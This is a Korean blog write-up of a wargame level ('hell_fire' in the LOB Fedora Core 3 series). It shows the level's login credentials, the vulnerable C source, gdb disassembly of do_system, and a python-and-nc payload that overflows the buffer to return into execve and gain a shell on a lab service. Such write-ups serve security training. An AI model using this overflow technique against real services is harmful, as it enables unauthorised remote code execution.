반응형
반응형
반응형

해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이


M4ndU




해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이입니다.


ID | dark_eyes

PW | because of you


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - hell_fire

        - Remote BOF on Fedora Core 3

        - hint : another fake ebp or got overwriting

        - port : TCP 7777

*/


#include <stdio.h>


int main()

{

        char buffer[256];

        char saved_sfp[4];

        char temp[1024];


        printf("hell_fire : What's this smell?\n");

        printf("you : ");

        fflush(stdout);


        // give me a food

        fgets(temp, 1024, stdin);


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, temp);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


이번에는 입력받은 값을 temp[1024]에 받아서 buffer[256]에 덮어쓴다. 이 문제는 remote BOF 문제라서 전 문제 풀이 방법으로는 풀 수 없다.

system함수 안에 do_system에서 execve를 호출하는 부분을 ret값으로 주면 쉘이 따와진다고 한다.


(gdb) x/12i *do_system+1119
0x75077f <do_system+1119>:      call   0x743d30 <sigprocmask>
0x750784 <do_system+1124>:      mov    0xfffffec4(%ebx),%ecx
0x75078a <do_system+1130>:      xor    %edx,%edx
0x75078c <do_system+1132>:      xor    %eax,%eax
0x75078e <do_system+1134>:      mov    %edx,0x16bc(%ebx)
0x750794 <do_system+1140>:      lea    0xffff460f(%ebx),%edx
0x75079a <do_system+1146>:      mov    (%ecx),%edi
0x75079c <do_system+1148>:      mov    %eax,0x16b8(%ebx)
0x7507a2 <do_system+1154>:      mov    %esi,0x4(%esp)
0x7507a6 <do_system+1158>:      mov    %edi,0x8(%esp)
0x7507aa <do_system+1162>:      mov    %edx,(%esp)
0x7507ad <do_system+1165>:      call   0x7a5490 <execve>


do_system+1124 는 sigprocmask함수를 call하고 난 다음명령이다. 이 주소를 리턴값으로 준다.


(python -c 'print "A"*268+"\x84\x07\x75"';cat) | nc localhost 7777


[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A"*268+"\x84\x07\x75\x00"';cat) | nc localhost 7777

hell_fire : What's this smell?

you :

my-pass

euid = 503

sign me up



참조 : http://sangu1ne.tistory.com/7?category=39356

반응형

+ Recent posts